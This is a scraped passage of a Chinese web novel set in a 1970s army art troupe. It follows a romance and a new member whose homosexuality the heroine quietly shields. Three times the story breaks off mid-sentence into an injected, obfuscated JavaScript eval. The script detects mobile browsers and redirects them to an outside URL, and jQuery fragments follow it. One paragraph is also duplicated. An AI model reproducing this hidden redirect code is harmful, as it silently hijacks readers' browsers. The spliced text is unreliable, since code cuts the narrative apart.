远处的雪山沉默伫立,漫天飞雪无声见证——这一吻,无关风月情趣,只关真心。
吻到呼吸都快要交叠在一起,两人才微微分开些许。
兆悦的脸颊泛着浅红,睫毛湿漉漉地垂着,鼻尖轻轻蹭过他的,气息仍有些不稳。
陈灿依旧紧紧抱着她,不肯松手,手掌贴着她的后背,能清晰感受到她身体细微的轻颤。
漫天白雪还在无声飘落,落在他们的发间、衣领上,凉丝丝的,却半点也压不下彼此胸口里滚烫的温度。
他低头,额头抵着她的,声音哑得厉害,每一个字都带着刚深吻过后的余颤:“刚才在想什么?”
兆悦轻轻眨了眨眼,眼底还盛着未散的柔光与浅浅心事,却只弯了弯唇,没直接回答,反而抬手,指尖轻轻抚过他的眉骨、鼻梁、一路滑到他的下颌。
“在想……”她声音很轻,带着一点刚被吻过的软,“这么好看的雪,这么好的人,幸好没错过。”
陈灿心口猛地一缩,收紧手臂,又将她往怀里按了按,像是要把这一路以来所有的心动、所有的珍惜、所有没说出口的话语,一次性全都抱进怀里。
“我刚才还在怕,怕你心里装着太多别的事,会顾不上我。”兆悦轻轻笑了一声,气息软而烫,落在他唇畔。
她抬手,指尖轻轻按住他的唇,眼神认真得发亮,一字一句,轻却坚定:“你永远排在我心里第一位。”
“从那天在排练厅,碰巧遇见你开始。”
陈灿身子微微一僵,眼底猛地掀起波澜。
兆悦还以为,是自己先动的心,是她先留意,先靠近,先把他放在心上。
却不知道,有些心动,早在她以为的“碰巧”之前,就已经悄悄落了根。
他看着她,喉结轻轻滚了一下,声音低哑,带着一点迟来的坦白:“你以为……那天真的是碰巧吗?”
兆悦一怔,抬眼望他。
“排练结束的时候,我见过你的外套落在那儿。”
陈灿的目光深深锁在她脸上,带着几分被戳破心事的涩,又有几分终于说出口的坦荡,“我本来早就可以走,却故意折回去,又练了一会儿小号。”
他顿了顿,指尖轻轻摩挲着她后腰的衣料,声音轻得像雪落:“我就是想……能不能再等到你。”
兆悦猛地睁大眼睛,心脏狠狠一震。
原来从最开始,就不是她一个人的心事。
原来那场看似偶然的相遇,是他藏了小心思的等待。
她望着他眼底翻涌的笑意与温柔,忽然就笑了,眼眶微微发热,伸手更紧地抱住他,把脸埋进他颈间。
漫天大雪静静落下,天地一片纯白。
43. 温暖
一夜大雪将整座山林裹得素白静谧,天刚蒙蒙亮,文工团的队伍便收拾行装,踏上了返程的路。
卡车碾过积雪,发出细碎的咯吱声,寒风卷着未散的雪沫扑面而来,吹得人鼻尖发僵。
兆悦和陈灿、萧穗子一同坐在后斗里,位置竟和记忆里有些相似——陈灿坐在正中间,右边是萧穗子,不同的是,左边靠着外侧的人是兆悦。
兆悦主动选了靠外的位置,风大,却视野开阔,能最后望一眼这片留下过滚烫心事的雪山。
车子还未真正驶远,她心里已经悄悄泛起了淡淡的怀念。
怀念这场不期而遇的大雪,怀念那个无人打扰的僻静角落,怀念唇齿间还未散去的、属于他的温度。
她已经不会再拿电影里那些剧情,但从未发生、也绝不会发生的情节来折磨自己。
她清楚地知道,此刻陈灿心里装着谁,眼里望着谁,谁才是他毫不犹豫选择的那个人。
过去的剧本早已作废,现在的他们,是双向奔赴、心意笃定的恋人。
风卷着她的发丝肆意飞扬,掠过肩头,掠过脸颊,兆悦微微眯起眼,望着渐渐后退的山林。
身旁的陈灿,从坐下开始,目光便若有似无地一直落在她身上。
他微微侧着身,大半的重心都偏向兆悦这边,像是本能地想为她挡住一部分迎面而来的寒风。
就在这时,身侧传来一声极轻的、带着几分小心翼翼的动静。
萧穗子轻轻抬手,掌心躺着一颗裹着糖纸的水果糖,递到了陈灿面前。
她的指尖微微泛红,眼神垂着,不敢抬头看他,只有耳尖悄悄泛起一层浅淡的红晕。
那是她藏了一路的小心思,是她在这场暗恋里,唯一敢递出去的、最笨拙的温柔。
时间仿佛在这一刻轻轻顿住。
风还在吹,车轮还在滚,山林在白雪里缓缓后退。
陈灿垂眸,看了一眼那颗静静躺在萧穗子掌心的糖。
他没有立刻伸手去接,更没有像电影里那样,接过糖吃下,再握住萧穗子的手哈气取暖。
一个动作都没有。
他只是微微顿了顿,神情依旧是平日里那副淡淡的模样,却在细微处,藏着无比清晰的距离感。
没有暧昧,没有犹豫,没有半分让人误会的温柔。
他先是轻轻侧过头,目光飞快地、极轻地扫了一眼身旁的兆悦,像是在确认她的情绪,又像是在无声地告诉她——我的眼里只有你。
那一瞥极快,却藏着十足的温柔与笃定。
随即,他才转回头,对着萧穗子轻轻摇了摇头,声音清淡、客气,却带着不容错辨的疏离:
“不用了,谢谢。”
五个字,简单,礼貌,却也彻底划清了界限。
仿佛那只是同伴之间一次普通的分享,而他恰好不需要。
萧穗子的手僵在半空,指尖微微蜷缩了一下。
她没有抬头,慢慢将手收了回去,指尖轻轻攥住那颗没能送出去的糖,垂在膝头,久久没有再抬眼。
心里那点好不容易鼓起的勇气,像被寒风轻轻一吹,便悄无声息地淡了下去。
她没有怨,没有恼,甚至没有太多意外。
早在山林里,看着他头也不回离去的背影时,她就隐约明白,有些人,终究是只能望着背影的。
此刻她低着头,沉浸在自己的情绪里,再也没有留意旁人。
陈灿确定她没有看过来,才极轻、极自然地往兆悦那边挪了一点,借着车身晃动的掩护,抬手飞快又温柔地,把她被风吹到眼前的碎发轻轻别到耳后。
动作轻得像一阵风,隐秘又心安。
“风大,靠里一点。”
他压着声音,只有两人能听见,语气里带着一丝不易察觉的宠溺,和刚才客气疏离的样子截然不同。
兆悦抬眼,对上他的目光,轻轻笑了。
风再冷,雪再寒,也抵不过他眼底的滚烫。
卡车驶离雪山,驶向归途。
有些故事,早已在漫天风雪里,写下了全新的结局。
卡车在蜿蜒的雪路上颠簸前行,寒风渐渐小了些,车厢里也安静下来。奔波了一夜的同伴们大多靠在车板上沉沉睡去,呼吸轻浅,只剩下车轮碾过积雪的单调声响。
兆悦也闭着眼假寐,心思却一直轻轻落在身旁的人身上。
她悄悄睁开一条缝,看向身侧的陈灿。
他靠着车帮,眼睫垂落,看上去像是也睡着了,侧脸在淡白的天光下轮廓干净利落,连呼吸都放得很轻。
兆悦的心跳悄悄快了半拍。
左右都是熟睡的人,萧穗子也靠在角落垂着头,一动不动。
她大着胆子,将自己盖着的军大衣往两人中间拢了拢,宽大的衣摆轻轻盖住了他们交叠放在膝头的手。
在厚重军大衣的掩护下,她指尖微微蜷起,试探着、一点点地,轻轻碰了碰他的手背。
只是极轻的一下,像一片雪花落上去。
下一秒,她便感觉到,手下那只温热的手,几不可查地顿了顿。
兆悦的心猛地一跳,下意识想收回手,却被他先一步轻轻扣住。
他没有睁眼,依旧维持着原本沉睡的模样,连呼吸都没有乱,只是在大衣之下,不动声色地、轻轻反握住了她的手。
指腹温柔地蹭过她微凉的指尖,力道很轻,却握得稳稳的,像是怕她跑掉,又像是在无声地回应她所有的小心思。
原来他根本没睡。
从她悄悄睁眼,到小心翼翼碰他手背的每一个动作,他全都知道。
她任由他握着,感受着他掌心传来的温度,透过微凉的空气,一点点熨帖到她心底最软的地方。
陈灿依旧闭着眼,唇角却在无人看见的角度,极轻极淡地弯了一下。
那点笑意藏得很深,只有他自己知道,在被她触碰的那一刻,心底翻起了怎样温柔的涟漪。
身旁的萧穗子还在安静地靠着,呼吸轻浅,显然已经睡熟。
其他文工团的同伴也各自蜷缩在军大衣里,疲惫让他们无暇顾及旁人。
这一方小小的、拥挤的后斗,此刻却成了只属于他们两个人的天地。
陈灿终于极轻地掀开一点眼睫,目光垂落,落在她被大衣半遮着的、泛红的脸颊上。
眼底的宠溺浓得化不开,却只敢用极轻、极哑的气音,凑到她耳边低声说:“手这么凉,还敢偷偷摸过来。”
声音低得像耳语,混着车身的颠簸,只有她一个人能听见。
兆悦脸颊一烫,忍不住轻轻抿唇笑,指尖在他掌心悄悄挠了一下,小声回:“就摸。”
陈灿喉间低低地溢出一声笑,他没有再说话,只是将她的手往自己这边又带了带,贴在自己的腿边,用体温一点点捂热。
一路沉默,一路紧握。
等再醒来,却发现自己的头没有直接靠在冰冷坚硬的车帮上,而是被一双手稳稳垫着。
她睫毛轻轻一颤,缓缓睁开眼。
天光已经偏西,洒在陈灿沉静的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309125|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侧脸上。
他依旧维持着原来的坐姿,大半身体微微倾向她这边,一只手被她枕在颈下,掌心朝上,被她压得久了,指尖都有些泛白,却自始至终没有动过一下。
而另一只手,还在军大衣下,安静地握着她的手。
他极轻地“嗯”了一声,声音压得很低,带着只能隐忍的宠溺:“不麻。”
陈灿先轻轻松开了两人交握的手,动作轻得怕惊醒她,确认兆悦已经清醒,才小心翼翼、缓缓抽回自己早已麻木的手臂。
他的手腕被枕得又麻又酸,指尖泛着青白,却只是不动声色地轻轻攥了攥,没有流露出半分不适。
他先一跃跳下车,落地时稳稳站直,随即立刻转过身,仰头望向车斗里的兆悦。
目光落在她身上时,所有的清冷都化作了藏不住的温柔与在意。
“下来吧,慢点。”
他抬着手,语气自然又笃定,是全然只属于她的小心呵护。
周围陆续有人醒来、伸着懒腰往下跳,喧闹声渐渐响起,谁也没有发现,这一路漫长的风雪归途里,藏着两人只属于彼此的秘密。
萧穗子也醒了,安静地整理着自己的衣角,眼神淡淡,没有再往陈灿的方向多看一眼。
兆悦抱着军大衣,慢慢走到车边。
陈灿稳稳伸手,掌心朝上,牢牢托住她的腰,轻轻一扶,便将她安稳地抱下车来。
落地的一瞬间,他的指尖极轻地蹭了一下她的后腰,快得像错觉,却足够让兆悦心头轻轻一颤。
双脚刚沾地,他便低声嘱咐:“刚睡醒,别着凉,把大衣裹好。”
阳光洒在文工团熟悉的红墙上,暖得让人安心。连日奔波的疲惫,终于能在熟悉的环境里慢慢卸下。
团里体贴,给所有人放了一整天的休整时间,等体力缓过来、寒气散得差不多了,才重新吹响了排练的哨声。
天是真的冷了。
北风一吹,院子里的枯树枝都在发抖,呼出的气瞬间变成白雾,所有人进出都裹着厚厚的军大衣,扣子一路扣到下巴,棉帽护耳放下,系得严严实实。
文工团的排练厅四面透风,即便关紧了门窗,寒气依旧从缝隙里丝丝缕缕地钻进来。
跳舞的队员最是难熬,脱下厚重大衣,换上单薄的练功服,一停下来就浑身发冷,稍不注意就会被寒气激得感冒。
但他们乐队的人要好受得多。
不用大幅度动作,只需安安稳稳坐着练习乐器,只要把军大衣裹紧,扣子扣好,便能挡住大半寒意,也不会像舞蹈队那样大汗淋漓,自然少了许多生病的风险。
兆悦抱着乐器走进排练厅时,陈灿已经坐在了靠窗的位置。
他依旧穿得干净挺拔,军大衣的扣子规规矩矩扣到第二颗,露出一截利落的衣领,正低头轻轻调试着琴弦,神情安静又专注。
听见脚步声,他没有立刻抬头,却在她走近的瞬间,微微侧过脸,目光轻轻落在她身上。
从上到下扫了一圈,确认她大衣扣得严实、没有受冻,才淡淡收回视线,声音压得极低,只有两人能听见。
“手冷不冷?”
兆悦轻轻摇了摇头,在他身旁的位置坐下,也小声回应:“不冷,穿得厚。”
他嗯了一声,没再多说,却不动声色地往她这边挪了挪椅子,恰好替她挡住了从窗缝钻进来的冷风。
排练很快开始。
悠扬的乐曲填满了空旷的排练厅,琴弦轻颤,笛声清亮,寒气似乎也被这热闹的声响冲淡了几分。
44. 新人
这天一早,晨训刚进行到一半,分队长便从门外走进来,身后还跟着一个陌生的男兵。
排练厅里的动静立刻轻了几分,所有人的目光都下意识投了过去。
新来的男兵往那儿一站,气质就跟旁人不一样。
个子挺拔,眉目干净白净,长相是真的周正好看,却带着一股天生的清贵与挑剔,看着温和,实则自带一层淡淡的距离感。
“给大家介绍一下,新来的同志,闫展博。”分队长声音清亮,“唱歌、跳舞都拿得起来,以后就跟我们一起训练、一起演出了。”
闫展博微微颔首,脸上挂着浅淡得体的笑意,声音清润,却没什么温度:“以后请多关照。”
话音一落,队伍里立刻泛起低低的议论声。
这个年代没什么娱乐,文工团里来个新人,本就是顶大的新鲜事,何况是这么模样周正、气质又特别的一个。
朱克性子活络,第一个凑上去,笑着伸手:“哎,闫展博是吧?我叫朱克!以后咱们就是战友了!”
一旁的杭春明也跟着点头,热情搭腔:“是啊是啊,有啥不懂的随时问我们。”
闫展博只是淡淡扫了两人一眼,嘴角依旧维持着那层温和的弧度,既不显得无礼,也半点没有热络起来。
他没伸手,只轻轻点头,语气客气又疏离:“多谢。”
两个字,干净、礼貌,却把所有进一步亲近的意思,轻轻挡了回去。
朱克和杭春明对视一眼,都看出了对方眼里的尴尬,讪讪笑了笑,也不好再往上凑。
一旁的郝淑雯看得清楚,往兆悦身边靠了靠,压低声音笑着打趣:“你看他这劲儿,跟你当时一模一样。”
兆悦扯了扯嘴角,没接话,只淡淡收回目光。
只有她自己心里清楚,第一眼落在闫展博身上时,她心里那个gay达,几乎是瞬间就响了。
这是一种近乎本能的察觉,像是第六感在轻轻提醒她。
她从前在现实里,本就有一位关系很好的男性朋友,性子与闫展博几乎是一个模子刻出来的——模样白净,看着清高,说话带点挑剔的小毒舌,可骨子里却格外仗义。
眼前的闫展博,连神态、语气、与人保持距离的分寸感,都和那位朋友像得惊人。
可她半个字都没往外漏。
这个年代,这种事是天大的忌讳,一旦被人察觉,不仅会被指指点点,甚至连留在文工团的资格都会被剥夺。
往后几天,她只是偶尔不动声色地留意闫展博。
不是好奇,也不是亲近,更不是好感,她只是在默默佐证自己心底的那道直觉,观察他的一举一动,确认自己第一眼的判断究竟是不是真的。
她自认为看得极淡,极隐秘,还比不上当初何小萍刚来时,她处处热心帮衬的模样。
但这一切,尽数落在了陈灿眼里。
他本就习惯了视线不自觉追着兆悦,她往哪儿看,他的心就往哪儿飘。
可他只当她又是心善,见新人孤僻清冷,便多留心几分。
当初何小萍刚来,大家都冷落着,全团也就兆悦肯主动靠近,如今换了闫展博,她依旧是心软留意吧,在陈灿看来,再正常不过。
只是每当兆悦的目光轻轻落在闫展博身上时,他指尖按着小号按键的动作,会微不可查地顿上一瞬。
但随即又恢复平静,低头专注地擦拭着号身,仿佛什么都没有在意。
对方毕竟是个模样周正、气质出众的男兵,他嘴上不说,心里到底还是悄悄泛上一点浅淡的吃味。
排练厅里依旧热闹。
舞蹈队的节拍声、乐队的演奏声、队员们休息时的低语说笑,混在一块儿,填满了空旷的屋子。
新人闫展博,自然而然成了大家私下议论的中心。
“身段是真好,跳起舞来比姑娘家还舒展。”
“就是太冷了,跟谁都客客气气,却近不了身。”
“有才的人,是不是都有点脾气。”
闫展博本人倒全然不在意这些议论。
训练时一丝不苟,专业上半点不含糊,休息时便安安静静待在角落,不扎堆、不闲聊。
谁上前搭话,他都礼貌回应,却始终保持着一段不远不近的距离,温和又疏离。
真正让她彻底笃定的,是几天后排练间隙的一件小事。
那天休息,舞蹈队的几个女学员围在一起说笑,不知是谁起了头,开始悄悄议论团里几个长相周正的男兵,说着说着,就把话题拐到了闫展博身上。
几个姑娘脸皮薄,声音压得低,却止不住好奇,你一言我一语地夸他白净、好看、气质干净。
“我觉得闫展博长得真好看,比杨铮还耐看。”
“就是太冷了,不然我都敢去搭话。”
“你可别去,人家那态度,一看就对谁都没兴趣。”
说者无心,听者有意。
几人就在不远处,闫展博明明听得一清二楚,脸上却半点波澜都没有。
没有半分被女孩子议论的不自在,反倒像是在听一件与自己完全无关的闲事,甚至还微微皱了下眉,露出一丝不易察觉的不耐,仿佛觉得这种话题无聊又多余。
他只是淡淡挪开了视线,拿起水杯喝了一口,姿态疏离,半点回应都欠奉。
可就在他淡淡挪开视线的那一刻,目光不经意扫过场上一位身材健硕、动作利落的男舞蹈队员。
那一瞬间,他的眼神极轻地亮了一下,唇角几不可查地微微一抿,连下颌线都轻轻绷紧了半分,像是被什么不经意吸引,又飞快地强迫自己移开目光。
就这一个细微的神情,让兆悦心里最后一点不确定,彻底、完全、百分百落了地。
可就在他淡淡挪开视线的那一刻,目光不经意扫过场上一位身材健硕、动作利落的男舞蹈队员。
那一瞬间,他的眼神极轻地亮了一下,唇角几不可查地绷紧,连呼吸都似慢了半拍,一丝极淡、极异样的情绪从眼底掠过,快得像错觉,却足够让懂的人一眼看穿。
就这一个细微的神情,让兆悦心里最后一点不确定,彻底、完全、百分百落了地。
她心底那道gay达,彻彻底底响得明明白白。
但她什么也没说,更不会唐突上前点破。
先不说两人压根不熟,单是在这个年代,这话一旦被有心人听到,就是毁天灭地的麻烦。
她不会问,不会戳,更不会拿别人的秘密当谈资,只当什么都没发现,安安静静收回目光,继续做自己的事。
更何况,她本就不是对性别卡死的人。
现实里的她A起来的时候,走在街上连拉子都有忍不住多看几眼的。
她对感情向来随心,大学时还和一个短发卷毛的女生暧昧过一段,对不同的取向早已见怪不怪,心里没有半分抵触,只当是再平常不过的事。
她和闫展博的距离,是因为一封信突然拉近的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309126|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
信是刘予寄来的。
里面除了日常问候,暗戳戳打探她在文工团的日子进展如何,还夹了一张新近拍的照片,末尾调皮地问:我这样帅不帅?顺带也问候了郝淑雯——毕竟刘予性子大大咧咧,当初和郝淑雯最聊得来。
照片里的刘予,彻底把长发剪短,利落清爽,站在那儿活脱脱一个俊朗的小少年。
郝淑雯几人一听是刘予来信,立刻凑了过来。
兆悦想着刘予和她们本就相熟,便把照片递了过去。
姑娘们围在一起看,一个个笑得眼弯,嘴里不停夸。
“我的天,刘予剪完头发也太帅了吧!”
“要是个男的,我准保第一眼就爱上!”
“我也是我也是!”
兆悦听着她们说笑,也不知是这几天总想着闫展博的事,还是忽然想起现实大学那段和短发女生的暧昧,心口一热,脱口而出:“她就算不是男孩,我也能爱上。”
话音落得轻,姑娘们只当她是在夸自己朋友,开个玩笑罢了,谁也没往心里去。
萧穗子刚练完舞,扶着把杆休息,听见热闹噔噔噔跑过来,凑着头看了一眼照片,又笑着重复兆悦那句玩笑,随口打趣:“那你得变成男孩才行啊!”
一句话逗得郝淑雯、林丁丁、小芭蕾几人笑作一团,热闹得满屋子都是声响。
没人留意,喧闹里,兆悦轻轻补了一句,声音轻得几乎被淹没:“也不是非得变成男孩呀。”
谁都没听见。
除了不远处,一直安静待在角落的闫展博。
他听得一字不落。
来到文工团这段日子,他把自己藏得严严实实,一言一行小心翼翼,生怕露出半分马脚。
家庭不理解他,时代不接纳他,连呼吸都要克制,日子过得压抑又孤单。
可就在刚才,他听见了一句,在这个世界里想都不敢想的话。
不是鄙夷,不是歧视,不是猎奇。
是坦然,是接受,是理所当然的温柔。
那一刻,他压抑许久的心,猛地一颤。
像是在无边黑暗里,忽然看见了一点同路的光。
当天傍晚吃晚饭,所有人都意外了。
一向冷淡疏离、谁都不主动搭话的闫展博,竟端着饭碗,径直走到兆悦桌前,轻轻开口,主动打了一声招呼。
这一下,连同桌的杭春明都惊得瞪圆了眼,夸张地嚷嚷:“哎哟呵——这冰块怎么跟我悦儿姐打招呼呢?”
郝淑雯听得一头雾水,扭头问:“什么冰块?你们给他起的外号?”
“可不嘛!”杭春明大大咧咧地笑,“对谁都冷得要命,又干净又讲究,活脱脱一块捂不热的冰块!”
一桌人跟着哄笑。
兆悦心里却满是疑惑,不明白一向独来独往的闫展博,为什么会突然主动和自己说话。
而另一道目光,却早已沉沉落在两人身上。
陈灿握着碗筷的手指微微收紧,脸色平静,心底却早已翻起一点说不清的闷涩。
他见过闫展博在男生宿舍的样子,不爱说话,安安静静看书,床铺收拾得干干净净,斯文又干净。
此刻见他谁都不搭理,偏偏主动来找兆悦,陈灿心里忍不住犯嘀咕:
这人……不会正好是兆悦喜欢的类型吧?
平白无故过来打招呼,算怎么回事。
他闷头扒了一口饭,心底泛起一丝丝憋屈。
45. 暗流
闫展博来到文工团,转眼已是第三天。
这三天里,他除了训练、排练,便是独来独往,话少得可怜,唯一的例外,便是偶尔遇见兆悦时,会轻轻点个头,算是打过招呼。
对其他人,他依旧是那副客气疏离、不冷不热的模样,真的像一块捂不热的冰。
这天团里有外出汇演,路程不算近,所有人都拎着道具、裹着军大衣,往停在院门口的卡车走去。
闫展博虽说只来了短短三天,可功底扎实、唱歌跳舞样样拔尖,分队长一眼看重,直接把他塞进了汇演名单。
这一下,团里几个原本就不服气的男舞蹈队员,心里更不是滋味了。
论资历论时间,他都算新人,凭什么刚练三天就能上台?再加上平日里他不爱搭理人,清高又冷淡,几人早就看他不顺眼,这会儿更是明晃晃地排挤。
上车时,几个男队员互相招呼着挤在一起,压根没打算给闫展博留位置,也没叫他一声,摆明了要把他晾在一边。
闫展博站在车边,脸色没什么变化,也没上前凑,只是安静地等着,打算等所有人都上完了,再找个角落坐下。
就在这时,兆悦回头,朝他喊了一声:“闫展博,这边,你跟我们一起吧。”
兆悦看见这种现象就烦,文工团这个集体是美好,但美好的事物也有阴暗面,她要拯救的不只是何小萍,还有所以力所能及的事。
声音不大,却清晰地落进所有人耳里。
闫展博抬眼,看见是兆悦,原本冷淡的眼神稍稍柔和了些许,没多犹豫,轻轻点了下头,便迈步朝她这边走了过来。
而这一幕,恰好被刚探出身、准备伸手拉兆悦上车的陈灿,完完整整看在眼里。
少年伸到一半的手顿了顿,心里那点不舒服“噌”地一下就冒了上来。
他心里默默嘀咕:当初我跟你坐一起,还是我主动凑过来的,你什么时候这么主动喊过我啊?
可手上的动作一点没含糊,等兆悦走近,他伸手一把握住她的手腕,把人往车上拉。
拉扯之间,他指尖悄悄捏了捏她的手腕,又用指节轻轻勾了勾,小动作藏得隐秘,带着一股子说不清的委屈和别扭。
兆悦被他这一下弄得莫名其妙,抬头疑惑地看了他一眼,眼神明晃晃写着:你干嘛?
陈灿迎上她的目光,心里更委屈了:我都吃醋吃到脸上了,你还看不出来?
他没吭声,只是脸色比刚才更淡了几分。
等兆悦上了车,闫展博也跟着在她们旁边的位置坐下。
陈灿往窗边一靠,直接双臂一抱,闭上嘴不说话了,浑身都写着“别惹我”。
郝淑雯看出他不对劲,故意几次把话题往他身上引,想逗他说话,甚至笑着打趣他几句。
换做平时,他多少会应两声,可今天不管她说什么,陈灿都只是淡淡嗯一声,要么干脆不理,脸色沉沉的,一句话都不肯多讲。
车里吵吵闹闹,有人说笑,有人闲聊。
只有陈灿一个人别着头看窗外,抱着胳膊,闷不吭声地闹着只有他自己知道的小脾气。
兆悦坐在旁边,偷偷瞄了他好几眼,心里越发纳闷:这人,到底怎么了?
兆悦被挤在中间,左边是陈灿,右边是闫展博。
车子刚驶出文工团院门,路还算平稳,大家都没困意,车厢里闹哄哄一片说笑。
郝淑雯和林丁丁凑在前面聊布料样式,后面几个男兵打闹打趣,只有陈灿从上车起就抱着胳膊,侧脸对着窗外,一声不吭,气压低得明显。
兆悦刚坐定,身旁的闫展博却先轻轻开了口。“今天的队形,最后那个跳转,我还是有点怕跟不上。”
声音不高,但大家都听见了,有些已经竖着耳朵听了。
兆悦有点意外——这是这个新队员第一次,主动跟她聊天。
“你底子好,三天练成这样很不错,上台别慌就行。”
闫展博轻轻“嗯”了一声,又低声道:“平时没事,我会看点书。”
兆悦挑眉:“看什么?”
“一些外文的东西。”他语气平淡,“现在能看的书少,只能找点旧的翻。”
这话被旁边的萧穗子听见了。
她刚支着下巴看窗外,田野被车速拉成一片流动的青黄,风把她额前碎发吹得轻颤,一听见“看书”两个字,立刻转了过来。
“你也看外文的书?我平时也偷偷翻一点,总觉得比现在的文章多些意思。”
闫展博对旁人向来冷淡,可对萧穗子这种同样爱文字的,倒难得松快了些,点了点头:“景色写得细,比说空话强。”
萧穗子眼睛一亮:“你看窗外这光,落在麦地上,一层一层的,要是写成句子,就很美。”
“是。”闫展博应声,“光影、神态、一个人站在那儿的样子,有的文字能写得特别静。”
兆悦坐在中间,听两人聊得自然,也没插话。
她知道,这个年代不能私下碰一些读物的,能有个志同道合的人聊聊天,已经很难得了。
可她没料到,闫展博话赶话,忽然轻轻带出一句:“……像书里写的,美到让人不敢靠近,只敢远远看着,像望着一场注定留不住的光。”
话音一落,兆悦浑身一紧。
她太熟了。
这句话,是《魂断威尼斯》里的一段。
1974年,这本书好像还没有官方中文译本,没有繁体正版,没有大众传播,只有极少数懂德语、英语的高校学者、外文系师生、文艺圈极小一批人,才会私下摸原版或英译本。
更要命的是——这是同志主题,在当下是绝对禁忌,连提都不能提,一旦被有心人揪住,扣上帽子,这辈子都毁了。
闫展博是真读进心里了,顺口就说了出来,完全没意识到危险。
兆悦心脏猛地一提。
为了提醒他,她几乎是本能地、急声打断他:“——别说这个了。”
声音不大不小,急得带着一丝不容分说的紧绷。
闫展博一怔,瞬间停了口,眼神先愣了一下,随即飞快反应过来什么,脸色微微一白,立刻闭了嘴。
前排的郝淑雯、旁边的萧穗子、甚至不远处的杭春明,都下意识往这边看了一眼。
没人懂那句句子出自一本禁忌的同志小说,只听出兆悦语气里的突兀和紧张,以及大冰块的顺从和慌张,像突然按住了什么不能说的秘密。
一时间,几个人的目光在兆悦和闫展博之间转了一圈,带着点好奇,又有点摸不着头脑。
怎么好好聊着书,突然就不让说了?
他俩之间,藏着什么别人听不懂的话?
兆悦稳住神色,没再多解释,只轻轻挪了挪坐姿,装作看窗外风景。
她是在救他。
可落在旁人眼里,倒像两人之间,早有了旁人插不进的默契。
而左边,一直抱着胳膊装冷漠的陈灿,把这一切完完整整看在眼里。
兆悦对闫展博的紧张、那一声急促的制止、两人之间那股别人听不懂的隐秘……
他一个字都听不懂,却每一个眼神都攥在了心里。
酸、闷、堵、委屈。
一股脑全涌了上来。
他往窗边又靠了靠,胳膊抱得更紧,嘴唇抿成一条直线。
陈灿原本心里是藏着小算盘的。
路程这么远,车开久了人总会困,他早就盘算好——等兆悦眯眼犯困,就顺势让她靠在自己肩上,再把军大衣敞开一点,把两人的手悄悄裹在大衣底下,安安静静牵一路。
不用说话,就安安稳稳挨着,就很好。
可现在。
什么靠肩、什么大衣牵手、什么安安静静贴在一起……
全都不想了。
他现在,一句话都不想说!
兆悦那边还没从刚才的惊险里缓过来,一阵后怕。
她满脑子都是闫展博刚才那句话,万一被哪个耳朵尖、心思多的人听出不对劲,后果不敢想……
不死也得脱层皮!
她全程紧绷着心神,压根没留意身边陈灿的脸色已经沉得能滴出水,更没察觉到那股快要溢出来的醋意。
车厢里一时安静得有点尴尬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309127|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就在这时,杭春明嗓门一亮,直接把气氛又抄了起来。“哎哎哎,都别闷着啊!我跟你们说,咱们这次要去的地方,可有意思了!”
他一嚷嚷,好几个人立刻转头看他。“咋有意思了?你去过啊?”
杭春明得意地抬抬下巴,“那地方场子大,观众也热情,关键是——附近还有卖糖糕、炸果子的,等汇演完,咱们偷偷溜出去买点儿!”
“真的假的?!”
“我要吃炸果子!”
“我要吃糖糕!”
姑娘小子们一下子热闹起来,叽叽喳喳聊开了吃的、聊路上的风景,刚才那点诡异的安静,瞬间被冲得干干净净。
郝淑雯跟着起哄:“杭春明,你可别骗我们啊,到时候没有,我第一个揪你耳朵!”
“骗你干什么!我骗谁也不能骗吃的啊!”
全车哄笑一片。
兆悦也松了口气,跟着轻轻笑了笑,紧绷的肩膀稍稍放下。
闫展博坐在她身旁,垂着眼,手指轻轻攥了一下,无声地朝她投来一道感激又后怕的目光。
只有某人,已经成了一坛子老陈醋。
车开得久了,阳光斜斜晒进车厢,暖风一吹,原本闹哄哄的人渐渐蔫了下去,哈欠一个接一个。
有人歪着头靠在车厢板上,有人枕着背包,说话声越来越轻,只剩下发动机嗡嗡的声响。
兆悦紧绷了一路,这会儿放松下来,困意也慢慢涌了上来。
她坐在中间,左边是陈灿,右边是闫展博。
陈灿从刚才到现在,一直抱着胳膊闭目养神,一句话没再跟她说过。
有些奇怪。
不过兆悦心里还惦记着刚才《魂断威尼斯》那茬,后怕未消,压根没心思去琢磨他怎么又冷了,只当他是累了。
困意上来,她头轻轻一点一点的,像啄米。
陈灿其实没睡。
他一直睁着眼,用余光偷偷看她。
看她困得晃悠,他心里又软又酸,还带着点别扭的赌气。
——让你刚才跟他那么有默契。
——让你那么紧张他。
——现在困死,你也别想我主动哄你。
他就硬着心肠,一动不动,假装完全没察觉。
